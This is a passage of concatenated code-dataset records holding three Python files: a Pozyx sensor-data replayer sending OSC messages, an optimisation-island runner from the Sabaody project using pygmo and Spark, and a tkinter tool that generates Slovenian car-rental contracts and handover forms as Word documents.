modules.replay_osc_message_sending import ReplayOscMessageSending\nfrom modules.utilities import Utilities\n\nclass DataReplay:\n def __init__(self, my_file, my_osc_udp_client, my_replay_speed):\n self.file = my_file\n self.osc_udp_client = my_osc_udp_client\n self.replay_speed = my_replay_speed\n\n def iterate_file(self):\n with open(self.file, 'r') as f:\n header_list = FileReading.get_header_list(f)\n # print(self.file)\n # print(header_list)\n data_file_type = FileReading.determine_data_file_type(header_list)\n\n attributes_to_log = None\n if data_file_type >= 2:\n # has motion data in the data file\n attributes_to_log = UserInput.get_multiple_attributes_to_log()\n print(attributes_to_log)\n\n i_index, i_time, i_difference, i_hz, i_avehz = \\\n FileReading.get_timestamp_indices(header_list)\n\n previous_time = 0.0\n\n print(DataParsing.build_data_file_type_string(data_file_type))\n\n start_time = time.time()\n for line in f:\n data_list = FileReading.get_data_list(line)\n output = \"\"\n timestamp = DataParsing.build_timestamp_info(\n i_index, i_time, i_avehz, data_list)\n output += timestamp\n output += DataParsing.build_rest_of_data(\n data_file_type, header_list, data_list, attributes_to_log)\n print(output)\n\n ReplayOscMessageSending.send_message(\n data_file_type, header_list, data_list, osc_udp_client)\n\n previous_time = Utilities.wait_for_time_difference(\n replay_speed, i_difference, data_list, previous_time)\n print(\"\\nRendered Time: \" + str(time.time() - start_time))\n\nif __name__ == \"__main__\":\n #################################################################\n # start of configuration\n\n # change the speed of how the data is read in data seconds per second\n # I.e. 2 is 2x speed. Set to 0 for as fast as possible\n\n # replay_speed = 4\n\n # whether to send data to Processing\n use_processing = True\n\n # end of configuration\n #################################################################\n\n ip = \"127.0.0.1\"\n network_port = 8888\n osc_udp_client = None\n\n file = \"C:\\\\Users\\\\gabri\\\\Documents\\\\GitHub\\\\Pozyx\\\\Data\\\\pressure_test_srtc_2.csv\"\n file = UserInput.get_file_to_replay()\n\n replay_speed = UserInput.get_speed()\n\n if use_processing:\n osc_udp_client = SimpleUDPClient(ip, network_port)\n replay = DataReplay(file, osc_udp_client, replay_speed)\n\n\n replay.iterate_file()\n","sub_path":"house_code/main_programs/DataReplay/data_replay.py","file_name":"data_replay.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"512817741","text":"# Sabaody\n# Copyright 2018 J Kyle Medley\nfrom __future__ import print_function, division, absolute_import\n\nfrom .utils import check_vector, expect\n\nfrom abc import ABC, abstractmethod\nfrom numpy import array\nfrom typing import SupportsFloat\nfrom uuid import uuid4\nfrom json import dumps, loads\n\nclass Evaluator(ABC):\n '''\n Evaluates an objective function.\n Required to implement at least the function evaluate,\n which returns a double precision float.\n '''\n @abstractmethod\n def evaluate(self):\n # type: () -> SupportsFloat\n '''Evaluates the objective function.'''\n pass\n\nclass Island:\n def __init__(self, id, algorithm, size, domain_qualifier=None, mc_host=None, mc_port=None):\n self.id = id\n self.mc_host = mc_host\n self.mc_port = mc_port\n self.algorithm = algorithm\n self.size = size\n self.domain_qualifier = domain_qualifier\n\ndef run_island(island, topology, migrator, udp, rounds, metric=None, monitor=None, use_pool=False, problem=None, terminator=None):\n import pygmo as pg\n from multiprocessing import cpu_count\n from pymemcache.client.base import Client\n from sabaody.migration import BestSPolicy, FairRPolicy\n from sabaody.migration_central import CentralMigrator\n\n print('algorithm ', island.algorithm)\n print(dir(island.algorithm))\n if hasattr(island.algorithm, 'maxeval'):\n # print('maxeval ', island.algorithm.maxeval)\n island.algorithm.maxeval = 1000\n if hasattr(island.algorithm, 'maxtime'):\n # print('maxtime ', island.algorithm.maxt.ime)\n island.algorithm.maxtime = 1\n # no pool\n i = pg.island(algo=island.algorithm, prob=pg.problem(udp), size=island.size, udi=pg.mp_island(use_pool=False))\n # with pool\n # i = pg.island(algo=island.algorithm, prob=pg.problem(udp), size=island.size)\n # if problem is None:\n # problem = pg.problem(udp)\n # if not use_pool:\n # i = pg.island(algo=island.algorithm, prob=problem, size=island.size, udi=pg.mp_island(use_pool=False))\n # else:\n # i = pg.island(algo=island.algorithm, prob=problem, size=island.size)\n\n if monitor is not None:\n monitor.update('Running', 'island', island.id, 'status')\n monitor.update(cpu_count(), 'island', island.id, 'n_cores')\n\n migration_log = []\n best_f = None\n best_x = None\n for round in range(rounds):\n if monitor is not None:\n monitor.update(round, 'island', island.id, 'round')\n\n from interruptingcow import timeout\n from .timecourse.timecourse_sim_irreg import StalledSimulation\n # with timeout(10, StalledSimulation):\n # print('island {} begin evolve'.format(island.id))\n i.evolve()\n i.wait()\n # print('island {} evolve finished'.format(island.id))\n\n # perform migration\n migrator.sendMigrants(island.id, i, topology)\n deltas,src_ids = migrator.receiveMigrants(island.id, i, topology)\n\n f,x = i.get_population().champion_f,i.get_population().champion_x\n if best_f is None or f[0] < best_f[0]:\n best_f = f\n best_x = x\n if monitor is not None:\n monitor.update('{:6.4}'.format(float(best_f[0])), 'island', island.id, 'best_f')\n monitor.best_score_candidate(best_f, best_x)\n\n # TODO: send objective function evaluations to metric\n if metric is not None:\n metric.process_champion(island.id, best_f, best_x, round)\n metric.process_deltas(deltas,src_ids, round)\n migration_log.append((float(i.get_population().champion_f[0]),deltas,src_ids))\n\n if terminator is not None and terminator.should_stop(i, monitor):\n break\n\n #import socket\n #hostname = socket.gethostname()\n #ip = [l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith(\"127.\")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]\n #return (ip, hostname, island.id, migration_log, i.get_population().problem.get_fevals())\n return best_f, best_x, round\n\nclass Archipelago:\n def __init__(self, topology, metric=None, monitor=None):\n self.topology = topology\n # self.metric = metric\n self.monitor=monitor\n\n def monitor_island_ids(self):\n if self.monitor is not None:\n self.monitor.update(dumps(self.topology.island_ids), 'islandIds')\n\n def run(self, sc, migrator, udp, rounds, use_pool=False, problem=None, terminator=None):\n assert self.metric is not None\n def worker(island):\n return run_island(island,self.topology,\n migrator=migrator,\n udp=udp,\n rounds=rounds,\n metric=self.metric,\n monitor=self.monitor,\n problem=problem,\n terminator=terminator)\n return sc.parallelize(self.topology.islands, numSlices=len(self.topology.islands)).map(worker).collect()\n","sub_path":"sabaody/pygmo_interf.py","file_name":"pygmo_interf.py","file_ext":"py","file_size_in_byte":5060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"608367679","text":"import datetime\r\nimport tkinter as tk\r\nfrom tkinter import *\r\nimport pandas as pd\r\nimport docx\r\nfrom docx.shared import Inches, Pt\r\nfrom docx.enum.text import WD_ALIGN_PARAGRAPH\r\nfrom docx2pdf import convert\r\n\r\nsuffix = datetime.datetime.now().strftime(\"%y%m%d_%H%M%S\")\r\n\r\ndef kreiraj_pogodbo_in_zapisnik_PO():\r\n\r\n # najemna pogodba\r\n\r\n global master\r\n\r\n print(e1.get(), e2.get(), e3.get(), e4.get(), e5.get(), e6.get(), e7.get(), e8.get(), zastopnik.get(), e10.get(), e11.get(),\r\n e12.get(), e13.get(), e14.get(), e15.get(), e16.get(), e17.get(), e18.get(), lokacija.get(), skrbnik.get(), fakturiranje.get())\r\n\r\n input_ime_podjetja = e1.get()\r\n\r\n input_ulica = e2.get()\r\n\r\n input_hisna_stevilka = e3.get()\r\n\r\n input_postna_stevilka = e4.get()\r\n\r\n input_mesto = e5.get()\r\n\r\n input_drzava = e6.get()\r\n\r\n input_maticna_stevilka = e7.get()\r\n\r\n input_davcna_stevilka = e8.get()\r\n\r\n input_zastopnik = zastopnik.get()\r\n\r\n input_ime_zastopnika = e10.get()\r\n\r\n input_znamka = e11.get()\r\n\r\n input_model = e12.get()\r\n\r\n input_vin = e13.get()\r\n\r\n input_reg = e14.get()\r\n\r\n input_reg_do = e15.get()\r\n\r\n input_najem_od = e16.get()\r\n\r\n input_najem_do = e17.get()\r\n\r\n input_obrok_z_DDV = e18.get()\r\n\r\n input_fakturiranje = fakturiranje.get()\r\n\r\n input_lokacija = lokacija.get()\r\n\r\n input_skrbnik = skrbnik.get()\r\n\r\n\r\n doc = docx.Document()\r\n\r\n najemodajalec = doc.add_paragraph(\r\n \"SELMAR, d.o.o., Mariborska cesta 119, 3000 Celje, matična številka: 5300541, ID številka za DDV: SI62243217, transakcijski račun pri ABANKA d.d.: SI56 0510 0801 4707 908 , ki jo zastopa direktor: Uroš Seles (v nadaljevanju: najemodajalec) \\n\"\r\n \"\\n\")\r\n najemodajalec.add_run(\"in\")\r\n\r\n najemojemalec = doc.add_paragraph()\r\n najemojemalec.add_run(\r\n input_ime_podjetja + \", \" + input_ulica + \" \" + input_hisna_stevilka + \", \" + input_postna_stevilka + \" \" + input_mesto + \", \" + input_drzava + \", matična številka: \" + input_maticna_stevilka + \", ID številka za DDV: \" + input_davcna_stevilka + \", ki jo zastopa \" + input_zastopnik + \" \" + input_ime_zastopnika + \" (v nadaljevanju: najemojemalec) \\n\")\r\n\r\n najemojemalec.add_run(\"\\n\")\r\n najemojemalec.add_run(\"sklepata\")\r\n\r\n doc.add_heading('NAJEMNO POGODBO \\n', level=2)\r\n\r\n prvi_clen = doc.add_paragraph()\r\n prvi_clen.add_run(\"1. ČAS TRAJANJA POGODBE \\n\").bold = True\r\n prvi_clen.add_run(\r\n \"1. Najemna pogodba velja za obdobje od vključno \" + input_najem_od + \" do vključno \" + input_najem_do + \", z možnostjo podaljšanja. V primeru podaljšanja se sklene nova pogodba. \\n\")\r\n\r\n drugi_clen = doc.add_paragraph()\r\n drugi_clen.add_run(\"2. PREDMET NAJEMNE POGODBE \\n\").bold = True\r\n drugi_clen.add_run(\r\n \"1. Predmet najema pogodbe je \" + input_znamka + \" \" + input_model + \", št. šasije: \" + input_vin + \", reg. oznaka: \" + input_reg + \", za obdobje, dogovorjeno v 1. členu te pogodbe. \\n\")\r\n\r\n tretji_clen = doc.add_paragraph()\r\n tretji_clen.add_run(\"3. CENA NAJEMA \\n\").bold = True\r\n tretji_clen.add_run(\r\n \"1. Cena najema znaša \" + input_obrok_z_DDV + \"EUR/\" + input_fakturiranje + \" za obdobje iz 1. člena najemne pogodbe in se plačuje mesečno na TRR podjetja Selmar, d.o.o. \\n\"\r\n \"2. V ceno je vključeno zavarovanje, priprava vozila, dovoljenje za vožnjo izven Slovenije (če država namembnosti ni članica Evropske Unije) in 22% DDV. V ceno ni vključeno gorivo. \\n\"\r\n \"3. Vsi morebitni prometni prekrški, ki nastanejo v času najema, bremenijo najemnika. \\n\")\r\n\r\n cetrti_clen = doc.add_paragraph()\r\n cetrti_clen.add_run(\"4. PREVZEM, VRNITEV, ČIŠČENJE \\n\").bold = True\r\n cetrti_clen.add_run(\"1. Vozilo se prevzame po 8.00 uri na dan začetka najemnega obdobja. \\n\"\r\n \"2. Vrnitev vozila se izvede zadnji dan najema do 17.00 ure. \\n\"\r\n \"3. Podaljšanje najema je skladno z dogovorom iz 1. člena te pogodbe. Prevzem in predaja vozila se vrši na sedežu podjetja na Mariborski cesti 119 v Celju ali po dogovoru. \\n\"\r\n \"4. Vozilo mora biti pri vrnitvi očiščeno. \\n\"\r\n \"5. Če najemnik vrne vozilo neočiščeno, je dolžan plačati najemodajalcu: \\n\"\r\n \"- 40,00 EUR za zunanje čiščenje, \\n\"\r\n \"- 40,00 EUR za notranje čiščenje. \\n\"\r\n \"6. Ob prevzemu se pregleda celotno vozilo (oprema, mehanika, karoserija, motor itd.), preveri se delovanje naprav v vozilu in sestavi se prevzemni zapisnik. Vse pomanjkljivosti, manjkajoča oprema, poškodbe itd. se vpišejo v prevzemni zapisnik. Vse ugotovljene poškodbe se fotografirajo in dokumentirajo. Ob vrnitvi se s primopredajnim zapisnikom ugotovi stanje vozila in pregleda delovanje vseh naprav. Najemnik odgovarja za vse pomanjkljivosti in poškodbe, ki niso bile ugotovljene ob prevzemu. \\n\"\r\n \"7. V primeru višje sile, ki je razlog zamude pri vračilu vozila, je dolžan najemnik telefonsko obvestiti najemodajalca za vzrok zamude in predviden čas vračila vozila. \\n\"\r\n \"8. Ta pogodba lahko preneha na podlagi sporazuma strank (sporazumno) ali na podlagi odstopa najemodajalca. \\n\"\r\n \"Sporazumno se pogodba prekine v primeru, da se stranki o prekinitvi dogovorita in skleneta posebni pisni sporazum ali dodatek k tej pogodbi. \\n\"\r\n \"V primeru sporazumne prekinitve pogodbe je najemnik dolžan: \\n\"\r\n \"•\tvrniti vozilo oziroma omogočiti odjavo vozila iz prometa, \\n\"\r\n \"•\tplačati nadomestilo za morebitno negospodarno uporabo vozila, \\n\"\r\n \"•\tplačati vse zapadle oziroma neplačane obveznosti do najemodajalca, \\n\"\r\n \"•\tplačano dogovorjeno, z najemnino nepokrito izgubo vrednosti vozila, \\n\"\r\n \"•\tplačati stroške izterjave napravočasno plačanih obveznosti, \\n\"\r\n \"•\tplačati stroške morebitnega odvzema vozila in morebitne druge stroške, nastale s predmetom pogodbe. \\n\"\r\n \"\\n\"\r\n \"Ne glede na dejstvo, da je pogodba sklenjena za določen čas, lahko v naslednjih primerih najemodajalec od pogodbe odstopi oziroma pogodbo brez odpovednega roka odpove: \\n\"\r\n \"•\tv primeru, da najemnik več kot enaindvajset (21) dni zamuja s plačilom obveznosti po tej pogodbi, \\n\"\r\n \"•\tv primeru, da z vozilom ne ravna kot dober gospodar ter ne skrbi za redno vzdrževanje in servisiranje vozila, \\n\"\r\n \"•\tbrez soglasja najemodajalca vgrajuje ali odstranjuje dodatno opremo, \\n\"\r\n \"•\tv primeru, da najemodajalca ne obvesti o spremembi naslova sedeža najemnika, spremembi TRR, prodaji podjetja ali uvedbi insolvenčnega postopka, \\n\"\r\n \"•\tv primeru, da ob sklenitvi pogodbe ni navedel točnih podatkov o svojem gospodarskem stanju, zamolčal dejstva in okoliščine, predložil krive listine, zaradi katerih bi najemodajalec, če bi zanje vedel, ne sklenil te pogodbe, \\n\"\r\n \"•\tv primeru, da ovira oziroma ne omogoči pravočasne registracije vozila ali pravočasno ne predloži dokumentov, \\n\"\r\n \"•\tv primeru, da najemnik kljub opominu najemodajalca vozilo uporablja v nasprotju z deklarirano uporabo ali če vozilu ali če vozilu grozi škoda zaradi najemnikove opustitve vzdrževanja vozila. \\n\"\r\n \"\\n\"\r\n \"Najemnik mora v primerih iz zgornjega odstavka najkasneje v treh (3) dneh najemniku vrniti vozilo z vso prevzeto dokumentacijo in kompletom ključev. \\n\"\r\n \"\\n\"\r\n \"V primerih prenehanja pogodbe po tem členu je najemnik, poleg dolžnosti iz člena te pogodbe, najemodajalcu dolžan izpolniti še naslednje: \\n\"\r\n \"•\tplačati stroške izterjave nepravočasno plačanih obveznosti, \\n\"\r\n \"•\tplačati stroške morebitnega odvzema vozila, \\n\"\r\n \"•\tplačati odškodnino za prekinitev pogodbe v višini vseh obveznosti za celotno obdobje, ki je bilo določeno ob sklenitvi pogodbe. \\n\")\r\n\r\n peti_clen = doc.add_paragraph()\r\n peti_clen.add_run(\"5. VOZNIK \\n\").bold = True\r\n peti_clen.add_run(\r\n \"1. Voznik (oziroma vozniki) vozila mora na dan prevzema vozila imeti dopolnjenih 21 let in posedovati veljavno vozniško dovoljenje vsaj tri leta. \\n\"\r\n \"2. Voznik (oziroma vozniki) se obveže, da pred in med vožnjo ne bo užival alkoholnih pijač oziroma ne bo vozil pod vplivom substanc, ki zmanjšujejo psihomotorične sposobnosti (zdravila, droge, ipd.). \\n\")\r\n\r\n sesti_clen = doc.add_paragraph()\r\n sesti_clen.add_run(\"6. POPRAVILA \\n\").bold = True\r\n sesti_clen.add_run(\r\n \"1. V primeru okvare vozila v času najema poskuša najemnik odpraviti okvaro na najbližjem pooblaščenem servisu po predhodnem dogovoru z najemodajalcem oz. izključno na servisu najemodajalca. Stroški popravila v primeru malomarnega ravnanja najemnika so breme najemnika. \\n\")\r\n\r\n sedmi_clen = doc.add_paragraph()\r\n sedmi_clen.add_run(\"7. OBNAŠANJE PRI NEZGODI \\n\").bold = True\r\n sedmi_clen.add_run(\r\n \"1. Najemnik se obveže, da bo morebitno škodo na vozilu pri kakršnikoli nesreči (prometna nesreča, kraja, vlom v vozilo, poškodba na parkirišču itd.) obvezno prijavil policiji (ki je pristojna za tisto državo, v kateri se je nesreča pripetila) in takoj poklical najemodajalca. \\n\"\r\n \"2. Najemnik mora najemodajalcu izročiti ustrezno dokumentacijo in priložiti skico o poškodbah vozila. Nezgodni zapisnik mora vsebovati imena in podatke vseh udeležencev nezgode. \\n\"\r\n \"3. V primeru prometne nezgode, ko je voznik vinjen, stroške popravila krije najemnik. \\n\")\r\n\r\n osmi_clen = doc.add_paragraph()\r\n osmi_clen.add_run(\"8. ZAVAROVANJE \\n\").bold = True\r\n osmi_clen.add_run(\"1. Vozilo je obvezno in kasko zavarovano. \\n\")\r\n\r\n deveti_clen = doc.add_paragraph()\r\n deveti_clen.add_run(\"9. ODGOVORNOST NAJEMNIKA \\n\").bold = True\r\n deveti_clen.add_run(\r\n \"1. Z vozilom lahko upravlja izključno najemnik, ki je naveden v pogodbi. Oziroma osebe, ki so potrjene s strani najemodajalca ali najemojemalca. \\n\"\r\n \"2. Najemnik mora upoštevati cestno prometne predpise, sicer lahko v primeru morebitne prometne nesreče nastopijo dodatni zapleti s prometno policijo in kasneje z zavarovalnico. \\n\"\r\n \"3. Najemnik odgovarja v vrednosti 1% odbitne franšize v sklopu kasko zavarovanja za morebitno škodo zaradi njegove krivde in v zvezi s tem najemodajalčevih stroškov izgube bonusa. \\n\"\r\n \"4. Najemnik odgovarja neomejeno v primeru škode zaradi zaradi preseženega tovora in ostalih primerov nedovoljene uporabe. \\n\"\r\n \"5. V primeru, da zavarovalnica iz kakršnihkoli vzrokov zavrne plačilo, je dolžan škodo pokriti najemnik. \\n\"\r\n \"6. Najemnik se obveže, da dokumente in ključe vozila ob zapustitvi le-tega nosi s seboj. V nasprotnem primeru zavarovalnica ne krije nastalih stroškov v primeru kraje vozila, kar pomeni, da vse stroške krije najemnik sam. \\n\"\r\n \"7. Najemnik mora z vozilom ravnati kot skrben in vesten gospodar. \\n\"\r\n \"8. Najemnik lahko v času najema vozila opravi največ 5.000 km na mesec. V kolikor najemnik prevozi več kot 5.000 km na mesec se mu vsak dodatni kilometer obračuna po vrednosti EUR 0,37 na km brez DDV. \\n\"\r\n \"9. Najemnik se obvezuje redno plačevati mesečno najemnino. V kolikor najemnik s plačilom zamuja za dve najemnine, se mu vozilo takoj odvzame brez predhodnega opominjanja ter se mu zaračunajo stroški odvzema vozila. \\n\")\r\n\r\n deseti_clen = doc.add_paragraph()\r\n deseti_clen.add_run(\"10. ODGOVORNOST NAJEMODAJALCA \\n\").bold = True\r\n deseti_clen.add_run(\r\n \"1. Najemodajalec skrbi, da je vozilo v času primopredaje tehnično brezhibno, brez kakršnekoli okvare, ki bi lahko povzročila nezgodo. \\n\"\r\n \"2. Najemodajalec ne odgovarja za stvari, ki so bile puščene ali pozabljene v vozilu. V primeru višje sile, poškodovanega ali nevoznega vozila se dogovori za drug termin najema vozila. \\n\"\r\n \"3. V nobenem primeru podjetje SELMAR d.o.o. ne prevzema nobene druge odgovornosti. \\n\")\r\n\r\n enajsti_clen = doc.add_paragraph()\r\n enajsti_clen.add_run(\"11. PRISTOJNO SODIŠČE \\n\").bold = True\r\n enajsti_clen.add_run(\r\n \"1. V primeru neupoštevanja pogodbenih členov ali drugih morebitnih sporov je pristojno Okrožno sodišče v Celju. \\n\")\r\n\r\n table = doc.add_table(rows=6, cols=4)\r\n hdr_cells = table.rows[0].cells\r\n hdr_cells[0].text = \"Najemodajalec:\"\r\n hdr_cells[3].text = \"Najemojemalec:\"\r\n\r\n datum_cells = table.rows[1].cells\r\n datum_cells[0].text = \"Datum:\"\r\n datum_cells[3].text = \"Datum:\"\r\n\r\n podjetje_cells = table.rows[3].cells\r\n podjetje_cells[0].text = \"Selmar d.o.o.\"\r\n podjetje_cells[3].text = input_ime_podjetja\r\n\r\n zastopnik_ime_cells = table.rows[4].cells\r\n zastopnik_ime_cells[0].text = \"Uroš Seles\"\r\n zastopnik_ime_cells[3].text = input_ime_zastopnika\r\n\r\n zastopnik_cells = table.rows[5].cells\r\n zastopnik_cells[0].text = \"direktor\"\r\n zastopnik_cells[3].text = input_zastopnik\r\n\r\n pogodba_name = \"_\".join([\"najemna_pogodba\", input_model, input_vin, input_ime_podjetja, suffix])\r\n\r\n\r\n#vnos podatkov excel\r\n df = pd.read_excel(\"seznam_najemov_new.xlsx\")\r\n\r\n new_row = {\"znamka\": input_znamka,\r\n \"model\": input_model,\r\n \"vin\": input_vin,\r\n \"reg. št.\" : input_reg,\r\n \"reg. do\" : input_reg_do,\r\n \"podjetje\" : input_ime_podjetja,\r\n \"najem od\" : input_najem_od,\r\n \"najem do\" : input_reg_do,\r\n \"obrok z DDV\" : input_obrok_z_DDV,\r\n \"fakturirano\" : input_fakturiranje,\r\n \"ulica\" : input_ulica,\r\n \"hišna št.\" : input_hisna_stevilka,\r\n \"poštna št.\" : input_postna_stevilka,\r\n \"mesto\" : input_mesto,\r\n \"država\" : input_drzava,\r\n \"zastopnik podjetja\" : input_ime_zastopnika,\r\n \"PE\" : input_lokacija,\r\n \"skrbnik\" : input_skrbnik,\r\n \"datum in ura\" : suffix}\r\n\r\n df = df.append(new_row, ignore_index=True)\r\n\r\n df.drop(df.columns[df.columns.str.contains('unnamed', case=False)], axis=1, inplace=True)\r\n\r\n\r\n # prevzemni zapisnik\r\n\r\n print(e1.get(), e2.get(), e3.get(), e4.get(), e5.get(), e6.get(), e7.get(), e8.get(), zastopnik.get(), e10.get(), e11.get(),\r\n e12.get(), e13.get(), e14.get(), e15.get(), e16.get(), e17.get(), e18.get(), lokacija.get(), skrbnik.get(), fakturiranje.get())\r\n\r\n input_ime_podjetja = e1.get()\r\n\r\n input_ulica = e2.get()\r\n\r\n input_hisna_stevilka = e3.get()\r\n\r\n input_postna_stevilka = e4.get()\r\n\r\n input_mesto = e5.get()\r\n\r\n input_drzava = e6.get()\r\n\r\n input_maticna_stevilka = e7.get()\r\n\r\n input_davcna_stevilka = e8.get()\r\n\r\n input_zastopnik = zastopnik.get()\r\n\r\n input_ime_zastopnika = e10.get()\r\n\r\n input_znamka = e11.get()\r\n\r\n input_model = e12.get()\r\n\r\n input_vin = e13.get()\r\n\r\n input_reg = e14.get()\r\n\r\n input_reg_do = e15.get()\r\n\r\n input_najem_od = e16.get()\r\n\r\n input_najem_do = e17.get()\r\n\r\n input_mesecni_obrok_z_DDV = e18.get()\r\n\r\n input_fakturiranje = fakturiranje.get()\r\n\r\n input_lokacija = lokacija.get()\r\n\r\n input_skrbnik = skrbnik.get()\r\n\r\n doc1 = docx.Document()\r\n\r\n #GLAVA PREVZEMNEGA ZAPISNIKA\r\n\r\n header = doc1.sections[0].header\r\n htable = header.add_table(1, 1, Inches(6))\r\n htab_cells = htable.rows[0].cells\r\n ht0 = htab_cells[0].add_paragraph()\r\n ht0.alignment = WD_ALIGN_PARAGRAPH.LEFT\r\n kh = ht0.add_run()\r\n kh.add_picture('SELMAR logo.gif', width=Inches(1))\r\n\r\n #PREVZEMNI ZAPISNIK - PREVZEM\r\n\r\n prevzemnizapisnik = doc1.add_heading(\r\n \"PREVZEMNI ZAPISNIK - prevzem\", level=2)\r\n\r\n predajalec_prevzemalec_in_lokacija= doc1.add_paragraph()\r\n predajalec_prevzemalec_in_lokacija.add_run(\r\n \"VOZILO IZDAL: SELMAR, d.o.o., Mariborska cesta 119, 3000 Celje, Slovenija \\n\"\r\n )\r\n predajalec_prevzemalec_in_lokacija.add_run(\r\n \"VOZILO PREJEL: \" + input_ime_podjetja + \", \" + input_ulica + \" \" + input_hisna_stevilka + \", \" + input_postna_stevilka + \" \" + input_mesto + \", \" + input_drzava + \"\\n\"\r\n )\r\n predajalec_prevzemalec_in_lokacija.add_run(\r\n \"LOKACIJA PREVZEMA: \" + input_lokacija\r\n )\r\n\r\n podatki_o_vozilu = doc1.add_paragraph()\r\n podatki_o_vozilu.add_run(\r\n \"PODATKI O VOZILU \\n\").bold = True\r\n podatki_o_vozilu.add_run(\r\n \"ZNAMKA IN MODEL: \" + input_znamka + \" \" + input_model + \" ; \" + \"VIN: \" + input_vin + \" ; \\n\"\r\n )\r\n podatki_o_vozilu.add_run(\r\n \"REGISTRSKA OZNAKA: \" + input_reg + \" ; \" + \"REGISTRIRAN DO: \" + input_reg_do\r\n )\r\n\r\n oprema = doc1.add_paragraph()\r\n oprema.add_run(\r\n \"OPREMA: \\n\"\r\n ).bold = True\r\n oprema.add_run(\r\n \"Število ključev: __________________ ; Prometno dovoljenje: DA \\ NE ; Homologacija: DA \\ NE; \\n\"\r\n \"Servisna knjiga: DA \\ NE ; Navodila za uporabo: DA \\ NE ; Trikotnik in prva pomoč: DA \\ NE; \\n\"\r\n \"Polnilni kabel (1-fazni): DA \\ NE ; Polnilni kabel (3-fazni): DA \\ NE\")\r\n\r\n datum_in_ura_prevzema = doc1.add_paragraph()\r\n datum_in_ura_prevzema.add_run(\r\n \"DATUM IN URA PREVZEMA: ______________________________\"\r\n \"ŠT. PREVOŽENIH KM OB PREVZEMU: ______________________\"\r\n )\r\n\r\n poskodbe = doc1.add_paragraph()\r\n poskodbe.add_run(\r\n \"POŠKODBE OB PREVZEMU: \"\r\n ).bold = True\r\n doc1.add_picture(\"vehicle_check_sheet1.png\", width=Inches(6.3))\r\n\r\n opombe = doc1.add_paragraph()\r\n opombe.add_run(\r\n \"Opombe: \\n\"\r\n ).bold = True\r\n opombe.add_run(\"________________________________________________________________________________________________________ \\n\")\r\n opombe.add_run(\"________________________________________________________________________________________________________\")\r\n opombe.add_run(\"\\n\" + \"\\n\" + \"\\n\")\r\n\r\n podpis = doc1.add_paragraph()\r\n podpis.alignment = WD_ALIGN_PARAGRAPH.CENTER\r\n podpis.add_run(\"____________________ ____________________ \\n\")\r\n podpis.add_run(\"Selmar d.o.o. Prevzel\")\r\n\r\n doc1.add_page_break()\r\n\r\n #PREVZEMNI ZAPISNIK - VRACILO\r\n\r\n prevzemnizapisnik = doc1.add_heading(\r\n \"PREVZEMNI ZAPISNIK - vračilo\", level=2)\r\n\r\n predajalec_prevzemalec_in_lokacija= doc1.add_paragraph()\r\n predajalec_prevzemalec_in_lokacija.add_run(\r\n \"VOZILO VRNIL: \" + input_ime_podjetja + \", \" + input_ulica + \" \" + input_hisna_stevilka + \", \" + input_postna_stevilka + \" \" + input_mesto + \", \" + input_drzava + \"\\n\"\r\n )\r\n predajalec_prevzemalec_in_lokacija.add_run(\r\n \"VOZILO PREJEL: SELMAR, d.o.o., Mariborska cesta 119, 3000 Celje, Slovenija \\n\"\r\n )\r\n predajalec_prevzemalec_in_lokacija.add_run(\r\n \"LOKACIJA VRAČILA: _________________\"\r\n )\r\n\r\n podatki_o_vozilu = doc1.add_paragraph()\r\n podatki_o_vozilu.add_run(\r\n \"PODATKI O VOZILU \\n\").bold = True\r\n podatki_o_vozilu.add_run(\r\n \"ZNAMKA IN MODEL: \" + input_znamka + \" \" + input_model + \" ; \" + \"VIN: \" + input_vin + \" ; \\n\"\r\n )\r\n podatki_o_vozilu.add_run(\r\n \"REGISTRSKA OZNAKA: \" + input_reg + \" ; \" + \"REGISTRIRAN DO: \" + input_reg_do\r\n )\r\n\r\n oprema = doc1.add_paragraph()\r\n oprema.add_run(\r\n \"OPREMA: \\n\"\r\n ).bold = True\r\n oprema.add_run(\r\n \"Število ključev: __________________ ; Prometno dovoljenje: DA \\ NE ; Homologacija: DA \\ NE; \\n\"\r\n \"Servisna knjiga: DA \\ NE ; Navodila za uporabo: DA \\ NE ; Trikotnik in prva pomoč: DA \\ NE; \\n\"\r\n \"Polnilni kabel (1-fazni): DA \\ NE ; Polnilni kabel (3-fazni): DA \\ NE\")\r\n\r\n datum_in_ura_prevzema = doc1.add_paragraph()\r\n datum_in_ura_prevzema.add_run(\r\n \"DATUM IN URA VRAČILA: ______________________________\"\r\n \"ŠT. PREVOŽENIH KM OB VRAČILU: ______________________\"\r\n )\r\n\r\n poskodbe = doc1.add_paragraph()\r\n poskodbe.add_run(\r\n \"POŠKODBE OB VRAČILU: \"\r\n ).bold = True\r\n doc1.add_picture(\"vehicle_check_sheet1.png\", width=Inches(6.3))\r\n\r\n opombe = doc1.add_paragraph()\r\n opombe.add_run(\r\n \"Opombe: \\n\"\r\n ).bold = True\r\n opombe.add_run(\"________________________________________________________________________________________________________ \\n\")\r\n opombe.add_run(\"________________________________________________________________________________________________________\")\r\n opombe.add_run(\"\\n\" + \"\\n\" + \"\\n\")\r\n\r\n podpis = doc1.add_paragraph()\r\n podpis.alignment = WD_ALIGN_PARAGRAPH.CENTER\r\n podpis.add_run(\"____________________ ____________________ \\n\")\r\n podpis.add_run(\"Selmar d.o.o. Vrnil\")\r\n\r\n prevzemni_name = \"_\".join([\"prevzemni_zapisnik\", input_model, input_vin, input_ime_podjetja, suffix])\r\n\r\n # preveri ali so vsi podatki izpolnjeni\r\n\r\n if e1.get() and e2.get() and e3.get() and e4.get() and e5.get() and e6.get() and e7.get() and e8.get() and zastopnik.get() != \"Izberi\" and e10.get() and e11.get() and e12.get() and e13.get() and e14.get() and e15.get() and e16.get() and e17.get() and e18.get() and fakturiranje.get() != \"Izberi\" and lokacija.get() != \"Izberi\" and skrbnik.get() != \"Izberi\":\r\n master3 = Tk()\r\n frame1 = Frame(master3, highlightbackground=\"green\", highlightcolor=\"green\", highlightthickness=1, bd=0)\r\n frame1.pack()\r\n master3.overrideredirect(1)\r\n master3.geometry(\"200x70+650+400\")\r\n lbl = Label(frame1, text=\"Potrdi vnos\")\r\n lbl.pack()\r\n yes_btn = Button(frame1, text=\"Da\", 